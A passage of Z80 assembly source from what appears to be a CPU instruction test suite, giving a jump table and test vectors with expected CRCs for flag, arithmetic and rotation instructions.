dw .dec_rr
dw .inc_xy
dw .dec_xy
dw .add_hl_rr
dw .add_ix_rr
dw .add_iy_rr
dw .adc_hl_rr
dw .sbc_hl_rr
dw .bit_n_a
dw .bit_n_hl
dw .bit_n_r
dw .bit_n_xyd
dw .bit_n_xyd_
dw .set_n_a
dw .set_n_hl
dw .set_n_r
dw .set_n_xyd
dw .set_n_xyd_
dw .res_n_a
dw .res_n_hl
dw .res_n_r
dw .res_n_xyd
dw .res_n_xyd_
dw .ldi
dw .ldd
dw .ldir
dw .lddr
dw .cpi
dw .cpd
dw .cpir
dw .cpdr
dw .in_a_n
dw .in_r_c
dw .in_c
dw .ini
dw .ind
dw .inir
dw .indr
dw .out_n_a
dw .out_c_r
dw .out_c_0
dw .outi
dw .outd
dw .otir
dw .otdr
dw .jp_nn
dw .jp_cc_nn
dw .jp_hl
dw .jp_xy
dw .jr_n
dw .jr_cc_n
dw .djnz_n
dw .call_nn
dw .call_cc_nn
dw .ret
dw .ret_cc
dw .retn
dw .reti
dw .reti_retn
dw .pushpop_rr
dw .poppush_af
dw .pushpop_xy
dw .ex_de_hl
dw .ex_af_af
dw .exx
dw .ex_sp_hl
dw .ex_sp_xy
dw .ld_r_r
dw .ld_x_x
dw .ld_r_xyd
dw .ld_xyd_r
dw .ld_r_n
dw .ld_x_n
dw .ld_xyd_n
dw .ld_a_rr
dw .ld_rr_a
dw .ld_a_mem
dw .ld_mem_a
dw .ld_rr_nn
dw .ld_xy_nn
dw .ld_hl_mem
dw .ld_xy_mem
dw .ld_rr_mem
dw .ld_mem_hl
dw .ld_mem_xy
dw .ld_mem_rr
dw .ld_sp_hl
dw .ld_sp_xy
dw .ld_i_a
dw .ld_r_a
dw .ld_a_i
dw .ld_a_r
dw .ei_di
dw .im_n
; rst
; halt
dw 0
include testmacros.asm
; Test vector template.
;
; Each test consists of the following:
; - Bitmask of which of the modified flags are officially documented.
; - Three test vectors - base test vector, counter vector and shifter vector.
; - The CRCs for each of the available test variants.
; - Test name.
;
; The base test vectors specifies the instruction(s) to execute,
; the initial value of the memory operand, and the initial
; values of the Z80 registers.
;
; The counter vector specifies which combinations of bits shall
; be toggled in the base test vectors. The test vector is
; executed once for each possible combination.
;
; The shifter vector specifies which bits shall be toggled in
; the test vector in sequence. After all the initial counter
; combinations were executed, the whole process is repeated, but
; now also toggling one of the specified shifter bits at a time.
if 0
flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x00,0x00,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xaf0f0011,all,0xac0f0022,docflags,0xdf0f0033,doc,0xdc0f0044,ccf,0x0,mptr,0x0
name " "
endif
; Various selftests.
if selftests
.crc flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x00,0x00,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x00ffffff,all,0x2e26825b,docflags,0x354a5705,doc,0x4a0a6669,ccf,0xb062bcdf,mptr,0x4996b8b2
name "CRC TEST"
.counter flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x00,0x00,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x01,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x8000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x00000000,all,0x65283e9d,docflags,0x3b3096d9,doc,0x70844659,ccf,0xa424358c,mptr,0x1f36a1d1
name "COUNTER TEST"
.shifter flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x00,0x00,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x41,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x8000
crcs allflags,0x00000000,all,0xd690f8ac,docflags,0x3b3096d9,doc,0xc33c8068,ccf,0xddc5094f,mptr,0x1f36a1d1
name "SHIFTER TEST"
endif
.selftest flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x00,0x00,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x20,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x08,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf3b489a6,all,0x1052d099,docflags,0x3b3096d9,doc,0x48e530ef,ccf,0x97bb028f,mptr,0x1f36a1d1
name "SELF TEST"
; Flag manipulation.
.scf flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x37,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x28,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xd7,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x3ec05634,all,0xd841bd8a,docflags,0xafbf608b,doc,0x2efb018b,ccf,0xe0d3c7bf,mptr,0x4fc0a073
name "SCF"
.ccf flags s,1,z,1,f5,0,hc,0,f3,0,pv,1,n,1,c,1
vec 0x3f,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x28,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xd7,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x5b2237ae,all,0x3fbb71dc,docflags,0x27b2462c,doc,0x96bd3c82,ccf,0x8531a625,mptr,0xc7cd86d4
name "CCF"
.scfccf flags s,1,z,1,f5,0,hc,0,f3,0,pv,1,n,1,c,1
vec 0x37,0x3f,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x28,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xd7,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xe0d3c7bf,all,0x9086496c,docflags,0x6f887d41,doc,0x3f044693,ccf,0x958e3e1e,mptr,0x8ff7bdb9
name "SCF+CCF"
.ccfscf flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x3f,0x37,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x28,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xd7,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x958e3e1e,all,0x45fc79b5,docflags,0xafbf608b,doc,0x2efb018b,ccf,0xe0d3c7bf,mptr,0x4fc0a073
name "CCF+SCF"
; 8 bit arithmetics.
.daa flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x27,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x13,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xec,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x4fa2a2d3,all,0xe994c6c4,docflags,0x39bd9b50,doc,0xce050987,ccf,0xf664ae86,mptr,0xb43e3905
name "DAA"
.cpl flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x2f,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x23dcd704,all,0xe39927d0,docflags,0x9c2c0c93,doc,0xe028b087,ccf,0x169b61fe,mptr,0xbd959484
name "CPL"
.neg flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0x44,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xed3cb45e,all,0x953a7650,docflags,0xe5ea9a83,doc,0xe6ed5f0d,ccf,0xb88dd2d9,mptr,0x44007b37
name "NEG"
.neg_ flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0x44,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xb5d3962c,all,0xf5ee4f9e,docflags,0x1666fbfb,doc,0x6b734a21,ccf,0x7282acda,mptr,0x54c2af54
name "NEG'"
.add_a_n flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xc6,0x00,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xb68bee38,all,0xe5166f9d,docflags,0x1ec28381,doc,0xb3ac13f8,ccf,0x458111c4,mptr,0x160b129e
name "ADD A,N"
.adc_a_n flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xce,0x00,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x08d8adb1,all,0x08bbc92b,docflags,0x916c5e39,doc,0x0d4254b3,ccf,0x2b5b8e14,mptr,0x32f9b8f9
name "ADC A,N"
.sub_a_n flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xd6,0x00,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x42656897,all,0x7a32a565,docflags,0xbd411ef5,doc,0x34d93157,ccf,0x68d32973,mptr,0xfd687592
name "SUB A,N"
.sbc_a_n flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xde,0x00,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xa09fb8f6,all,0x15158a3a,docflags,0xf3a8f826,doc,0xc9e2149b,ccf,0xf74ae063,mptr,0xecba4131
name "SBC A,N"
.and_n flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xe6,0x00,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x1330f710,all,0x344db49a,docflags,0x8e181222,doc,0x48c51db7,ccf,0x4d1c8c24,mptr,0xd5aefd16
name "AND N"
.xor_n flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xee,0x00,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xa39216ec,all,0x0e8a64f8,docflags,0x2f5e8c7c,doc,0x4a8b89b9,ccf,0xf37b322f,mptr,0xd5aefd16
name "XOR N"
.or_n flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xf6,0x00,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x927c68c0,all,0x984e7d2f,docflags,0x83981762,doc,0xa0c73943,ccf,0xc2954c03,mptr,0xd5aefd16
name "OR N"
.cp_n flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xfe,0x00,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0xff,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xb727231e,all,0xd714639b,docflags,0xbd411ef5,doc,0xe811d64d,ccf,0x115df86a,mptr,0xfd687592
name "CP N"
.alo_a_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x87,stop,0x00,0x00,mem,0x1234,a,0x00,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x38,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x7bf17601,all,0x819740db,docflags,0x2a38d86c,doc,0xc8056bb1,ccf,0x5ba4549a,mptr,0x8288f8b5
name "ALO A,A"
.alo_a_b_c flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x80,stop,0x00,0x00,mem,0x1234,a,0x00,f,0xff,bc,0x0000,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x39,0x00,0x00,0x00,mem,0x0000,a,0xc8,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x37,f,0xff,bc,0xffff,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xaf8b1bce,all,0x3b2d5d84,docflags,0xc18f696f,doc,0xe24caea3,ccf,0x9499283b,mptr,0x88db2720
name "ALO A,[B,C]"
.alo_a_d_e flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x82,stop,0x00,0x00,mem,0x1234,a,0x00,f,0xff,bc,0xbbcc,de,0x0000,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x39,0x00,0x00,0x00,mem,0x0000,a,0xc8,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x37,f,0xff,bc,0x0000,de,0xffff,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xaf8b1bce,all,0x48bec1d5,docflags,0xc18f696f,doc,0x91df32f2,ccf,0x9499283b,mptr,0x88db2720
name "ALO A,[D,E]"
.alo_a_h_l flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x84,stop,0x00,0x00,mem,0x1234,a,0x00,f,0xff,bc,0xbbcc,de,0xddee,hl,0x0000,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x39,0x00,0x00,0x00,mem,0x0000,a,0xc8,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x37,f,0xff,bc,0x0000,de,0x0000,hl,0xffff,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xaf8b1bce,all,0x317ada1e,docflags,0xc18f696f,doc,0xe81b2939,ccf,0x9499283b,mptr,0x88db2720
name "ALO A,[H,L]"
.alo_a_hl flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x86,stop,0x00,0x00,mem,0x1200,a,0x00,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x38,0x00,0x00,0x00,mem,0x0000,a,0xc8,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0x37,f,0xff,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xc0f1f3d4,all,0xd6da14b8,docflags,0x4aa02f3b,doc,0x903b071b,ccf,0xc9f87d81,mptr,0x52dee881
name "ALO A,(HL)"
.alo_a_x flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xdd,0x84,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0x0000,iy,0xfd77,sp,0xc000
vec 0x00,0x39,0x00,0x00,mem,0x0000,a,0xc8,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x37,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0xffff,iy,0x0000,sp,0x0000
crcs allflags,0xaf8b1bce,all,0x0fe83ffa,docflags,0xc18f696f,doc,0xd689ccdd,ccf,0x9499283b,mptr,0x88db2720
name "ALO A,[HX,LX]"
.alo_a_y flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xfd,0x84,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0x0000,sp,0xc000
vec 0x00,0x39,0x00,0x00,mem,0x0000,a,0xc8,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x37,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0xffff,sp,0x0000
crcs allflags,0xaf8b1bce,all,0x57fe309a,docflags,0xc18f696f,doc,0x8e9fc3bd,ccf,0x9499283b,mptr,0x88db2720
name "ALO A,[HY,LY]"
.alo_a_xyd flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xdd,0x86,0x00,stop,mem,0x1200,a,0x00,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x38,0x00,0x00,mem,0x0000,a,0xc8,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00ff,a,0x37,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0x0688d4d0,all,0x0e199fc6,docflags,0x1cff9540,doc,0xacb41617,ccf,0x12a5f62d,mptr,0x8ea78576
name "ALO A,(XY)"
; Shift/Rotation operations.
.rlca flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x07,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf572e9a6,all,0x2cf14e06,docflags,0x83400114,doc,0x9f1dfe40,ccf,0xd5a70c6a,mptr,0x46c57ece
name "RLCA"
.rrca flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x0f,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x02507a39,all,0x022ae290,docflags,0xda065d56,doc,0x01ffafbf,ccf,0xb6b74812,mptr,0x1f83228c
name "RRCA"
.rla flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x17,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf572e9a6,all,0xae39cb75,docflags,0x83400114,doc,0x1dd57b33,ccf,0xd5a70c6a,mptr,0x46c57ece
name "RLA"
.rra flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x1f,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x02507a39,all,0x9c6094b6,docflags,0xda065d56,doc,0x9fb5d999,ccf,0xb6b74812,mptr,0x1f83228c
name "RRA"
.rld flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0x6f,stop,0x00,mem,0x1200,a,0x00,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0088,a,0x88,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0077,a,0x77,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x31033721,all,0xbfa13284,docflags,0x1289827e,doc,0x9e08d2ce,ccf,0xffa1b2a6,mptr,0x670a95ea
name "RLD"
.rrd flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0x67,stop,0x00,mem,0x1200,a,0x00,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0088,a,0x88,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0077,a,0x77,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x144cbc1e,all,0x7db4c060,docflags,0x25caf56c,doc,0x6029a6d6,ccf,0xdaee3999,mptr,0x670a95ea
name "RRD"
.rlc_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
